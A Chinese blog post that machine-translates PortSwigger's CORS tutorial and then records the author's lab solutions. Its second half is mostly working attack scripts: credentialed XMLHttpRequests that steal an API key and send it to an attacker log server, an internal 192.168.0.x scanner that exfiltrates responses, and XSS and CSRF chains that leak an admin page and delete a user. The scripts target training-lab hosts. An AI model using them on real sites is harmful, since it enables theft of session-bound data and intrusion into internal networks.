Cross-origin resource sharing (CORS) - 跨源资源共享(CORS)

看我这机翻有个屁用,去看正规的https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

本文地址 https://portswigger.net/web-security/cors

跨源资源共享(CORS)

在本节中,我们将解释什么是跨源资源共享(CORS),描述一些常见的基于跨源资源共享的攻击示例,并讨论如何防范这些攻击。


什么是CORS(跨源资源共享)?

跨源资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了相同来源策略的灵活性(SOP)。然而,如果网站的CORS策略配置和实现不当,它也为基于跨域的攻击提供了潜在的可能性。CORS并不是针对跨源攻击的保护措施,例如:跨站点请求伪造。


image.png

同源政策(SOP)

相同来源策略是一种限制性的跨源规范,它限制网站与源域以外的资源交互的能力。许多年前,针对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私有数据,定义了相同的来源策略。它通常允许域向其他域发出请求,但不允许访问响应。

什么是同源政策?

同源政策是一种网络浏览器安全机制,旨在防止网站相互攻击。

同源政策限制一个来源上的脚本访问另一个来源的数据。源由URI方案、域和端口号组成。例如,考虑以下URL:
http://normal-website.com/example/example.html
这使用了该方案:http,域:normal-website.com,以及端口号:80...下表显示了如果上述URL上的内容试图访问其他来源,将如何应用同源政策:

访问URL 允许进入?
http://normal-website.com/example/ 是:相同的方案、域和端口
http://normal-website.com/example2/ 是:相同的方案、域和端口
https://normal-website.com/example/ 否:不同的方案和端口
http://en.normal-website.com/example/ 否:不同领域
http://www.normal-website.com/example/ 否:不同领域
http://normal-website.com:8080/example/ 否:不同端口*

*InternetExplorer将允许此访问,因为IE在应用相同来源的策略时不考虑端口号。

为什么同源政策是必要的?

当浏览器将HTTP请求从一个源发送到另一个源时,与另一个域相关的任何cookie(包括身份验证会话cookie)也会作为请求的一部分发送。这意味着响应将在用户会话中生成,并包含特定于用户的任何相关数据。如果没有相同的来源政策,如果你访问了一个恶意网站,它就可以从gmail读取你的电子邮件,从facebook上读取私人信息等等。

同源政策是如何执行的?

同源政策通常控制JavaScript代码对跨域加载的内容的访问。通常允许跨源加载页面资源.例如,SOP允许通过<img>标签,媒体通过<video>标记和JavaScript包含在<script>标签。但是,虽然这些外部资源可以由页面加载,但是页面上的任何JavaScript都无法读取这些资源的内容。

同源政策有各种例外:

  • 有些对象是可写的,但跨域不可读,例如location对象或location.href属性来自iframes或新窗口。
  • 某些对象是可读的,但不能跨域写入,例如length 的属性,window 对象(它存储页上使用的帧数)和closed 属性。
  • 这个replace 函数通常可以称为跨域函数on location 对象。
  • 您可以跨域调用某些函数。例如,您可以调用以下函数close, blur和focus 在新窗户上。这个postMessage 函数还可以在iframes和新窗口上调用,以便将消息从一个域发送到另一个域。
    由于遗留需求,相同来源的策略在处理cookie时更加宽松,因此它们通常可以从站点的所有子域访问,即使每个子域在技术上是不同的来源。可以使用HttpOnly标志。

使用document.domain...这个特殊属性允许您放松特定域的SOP,但前提是它是FQDN(完全限定域名)的一部分。例如,您可能有一个域marketing.example.com您希望阅读该域的内容。example.com...为此,两个域都需要设置document.domain到example.com...然后,SOP将允许两个域之间的访问,尽管它们的起源不同。在过去,可以设置document.domain到TLD,如COM,它允许在同一个TLD上的任何域之间进行访问,但现在现代浏览器阻止了这一点。


放宽同源政策

同样的政策有很强的限制性,因此设计了各种方法来规避这些限制。许多网站与子域名或第三方网站的互动方式需要完全跨源访问。可以使用跨源资源共享(CORS)来控制对同一来源政策的放松.

跨源资源共享协议使用一组HTTP报头来定义受信任的web源和相关属性,例如是否允许通过身份验证的访问。它们结合在浏览器和它试图访问的跨源网站之间的标题交换中。

什么是访问控制允许源响应头?

这个Access-Control-Allow-Origin报头包括在一个网站对来自另一个网站的请求的响应中,并标识请求的允许来源。Web浏览器将访问控制允许源与请求网站的来源进行比较,并允许访问响应(如果它们匹配的话)。

实现简单的跨源资源共享

跨源资源共享(CORS)规范规定了Web服务器和浏览器之间交换的标题内容,这限制了源域以外的Web资源请求的来源。CORS规范标识了其中的协议报头的集合。Access-Control-Allow-Origin是最重要的。当网站请求跨域资源时,服务器将返回此标头。浏览器添加Origin 的标题。

例如,假设一个具有原点的网站。normal-website.com导致以下跨域请求:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.com

服务器robust-website.com返回以下响应:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

浏览器将允许在normal-website.com访问响应,因为源匹配。

Access-Control-Allow-Origin的规格允许多个来源,或值,或者通配符*...但是,没有浏览器支持多种来源,并且对通配符的使用也有限制。

使用凭据处理跨源资源请求

跨源资源请求的默认行为是在没有cookie和授权头等凭据的情况下传递请求。但是,当凭据被传递给它时,跨域服务器可以通过设置cors来读取响应。访问-控制-允许-凭据标题为真。现在,如果请求网站使用JavaScript声明它与请求一起发送cookie:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

对请求的答复是:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

然后浏览器将允许请求网站读取响应,因为访问-控制-允许-凭据响应头设置为true...否则,浏览器将不允许访问响应。

使用通配符放宽CORS规范

标头Access-Control-Allow-Origin支持通配符。例如:
Access-Control-Allow-Origin: *

注意
注意,通配符不能在任何其他值中使用。例如,下面的标题是不有效:
访问-控制-允许-起源:https://*.normal-website.com

幸运的是,从安全的角度来看,通配符的使用在规范中受到限制,因为您不能将通配符与凭据的跨源传输(身份验证、cookie或客户端证书)结合起来。因此,表单的跨域服务器响应:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

是不允许的,因为这将是危险的不安全,向每个人公开目标站点上的任何经过身份验证的内容。

在这些约束条件下,一些web服务器动态地创建访问-控制-允许-来源基于客户端指定的源的标头。这是CORS约束的一种解决方法,即不安全.

飞行前检查 Pre-flight checks

飞行前检查被添加到CORS规范中,以保护遗留资源不受CORS允许的扩展请求选项的影响。在某些情况下,当跨域请求包括非标准的HTTP方法或标头时,跨源请求之前将使用备选方案方法,并且CORS协议需要在允许跨源请求之前对允许哪些方法和报头进行初始检查。这叫做飞行前检查。除了受信任的来源之外,服务器还返回允许的方法列表,浏览器检查请求网站的方法是否被允许。

例如,这是一个飞行前请求,它试图使用放方法与名为特殊-请求-标头:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服务器可能返回如下响应:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

此响应列出了允许的方法(PUT, POST, OPTIONS)和允许的请求头(Special-Request-Header)。在这种情况下,跨域服务器还允许发送凭据,并且Access-Control-Max-Age报头定义了用于缓存飞行前响应以供重用的最大时间范围。如果允许使用请求方法和标头(如本例中所示),则浏览器将以通常的方式处理跨源请求。飞行前检查增加了一个额外的HTTP请求往返到跨域请求,因此它们增加了浏览开销。

CORS是否保护CSRF

CORS不提供针对CSRF攻击,这是一个常见的误解。

CORS是对相同来源策略的控制放松,因此配置不当的CORS实际上可能会增加CSRF攻击的可能性或加剧其影响。

有多种不使用CORS来执行CSRF攻击的方法,包括简单的HTML表单和跨域资源包含。


由于CORS配置问题而产生的漏洞

许多现代网站使用CORS来允许来自子域和受信任的第三方的访问。它们的CORS实现可能包含错误或过于宽松,以确保一切正常工作,这可能导致可利用的漏洞。


服务器生成ACAO来自客户端指定的源标头的标头

一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要持续的努力,任何错误都有破坏功能的风险。因此,一些应用程序采用简单的路径,有效地允许从任何其他域访问。

这样做的一种方法是从请求中读取OriginHeader,并包括一个响应头,说明允许请求源。例如,考虑接收以下请求的应用程序:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然后答复如下:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

这些标头声明允许从请求域进行访问(malicious-website.com),并且跨域请求可以包括cookie(Access-Control-Allow-Credentials:true),因此将在会话中进行处理。

因为应用程序在Access-Control-Allow-Origin标头,这意味着任何域都可以从易受攻击的域访问资源。如果响应包含任何敏感信息,如api键或CSRF令牌,您可以通过在您的网站上放置以下脚本来检索该脚本:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
image.png

image.png

进入实验,登陆账号,查看API key:


image.png

好的现在我们知道去那个url找APIkey了

然后点Go to exploit server,


image.png

改代码
点Deliver exploit to victiom 之后,点Access log就成功了
这不是答案,这是我后来自己实验的东西
hello
<script>
console.log('????')
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://aca51f581f7c15f080c44a490052004d.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

document.write(this.responseText);

function reqListener(){
    alert(this.responseText);
    console.log(this.responseText);
    document.getElementById('1').innerHTML=this.responseText;
    };
</script>
hi
<h1 id='1'>2</h1>
image.png
image.png

在exploit服务器编辑如下请求发送就好了

<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://aca51f581f7c15f080c44a490052004d.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener(){
    location='https://acb01fe61f45154280d14aa70118007b.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

image.png

image.png

因为实验室无法提供中间人攻击的环境,所以在http网站上加入了一个xss漏洞
在exploit服务器上填写代码

<script>document.location="http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net/?productId=1<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open('get','https://acb31f471e8166d18018e9cc00890072.web-security-academy.net/accountDetails',true);req.withCredentials=true;req.send();function reqListener(){location='https://ac0f1fb01ede66b88098e91b01c400f1.web-security-academy.net/log?key='%2bthis.responseText;};%3c/script>&storeId=1"</script>

解释一下这个代码的逻辑:
首先攻击者发送一个连接给受害者:https://ac0f1fb01ede66b88098e91b01c400f1.web-security-academy.net/exploit
受害者点击这个连接,服务器返回我们写的js脚本,浏览器执行脚本,然后跳转到http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net/?productId=1<scri...xss攻击脚本...ript>&storeId=1这个页面是有xss的所以浏览器执行xss注入的脚本,向https://acb31f471e8166d18018e9cc00890072.web-security-academy.net/accountDetails发起GET请求,因为Origins:http://stock.acb31f471e8166d18018e9cc00890072.web-security-academy.net是受同源信任的,所以可以得到APIkey,然后脚本把拿到的APIkey作为参数跳转到我们的攻击服务器

CORS vulnerability with internal network pivot attack -- 内部网络支点攻击的CORS漏洞

image.png
<script>
    var q = [], collaboratorURL = 'http://ac4f1f0a1ecde4a28039282e015c0005.web-security-academy.net';
    for(i=1;i<=255;i++){
        q.push(
            function(url){
                return function(wait){
                    fetchUrl(url, wait);
                }
            }('http://192.168.0.'+i+':8080')
        );
    }

    for(i=1;i<=20;i++){
        if(q.length) q.shift()(i*100);
    }

    function fetchUrl(url, wait){
        var controller = new AbortController(), signal = controller.signal;
        fetch(url, {signal}).then(r=>r.text().then(text=>{
            location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
        })).catch(e=>{
            if(q.length){
                q.shift()(wait);
            }
        });
        setTimeout(x=>{
            controller.abort();
            if(q.length){
                q.shift()(wait);
            }
        }, wait);
    }
</script>

发现内网站点


image.png

测试是否存在xss

<script>
    function xss(url, text, vector) {
        location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+ '&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }

    function fetchUrl(url, collaboratorURL) {
        fetch(url).then(r=>r.text().then(text=>{
            xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
        }))
    }

    fetchUrl("http://192.168.0.45:8080", "http://ac2a1f301fe1a63e808a57e2017b0077.web-security-academy.net/");
</script>

忘了截图了,
利用xss,获取后台管理页面代码

<script>
    function xss(url, text, vector) {
        location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }

    function fetchUrl(url, collaboratorURL) {
        //console.log('"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">')
        fetch(url).then(r=>r.text().then(text=>{
            xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
        }))
    }

    fetchUrl("http://192.168.0.167:8080", "http://ac881f931e27dd9a8064137401810029.web-security-academy.net/")
</script>
image.png

CORS+XSS+CSRF删除用户

<script>
    function xss(url, text, vector) {
        location = url+'/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
    }

    function fetchUrl(url) {
        fetch(url).then(r=>r.text().then(text=>{
            xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
        }))
    }

    fetchUrl('http://192.168.0.167:8080')
</script>

完成

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335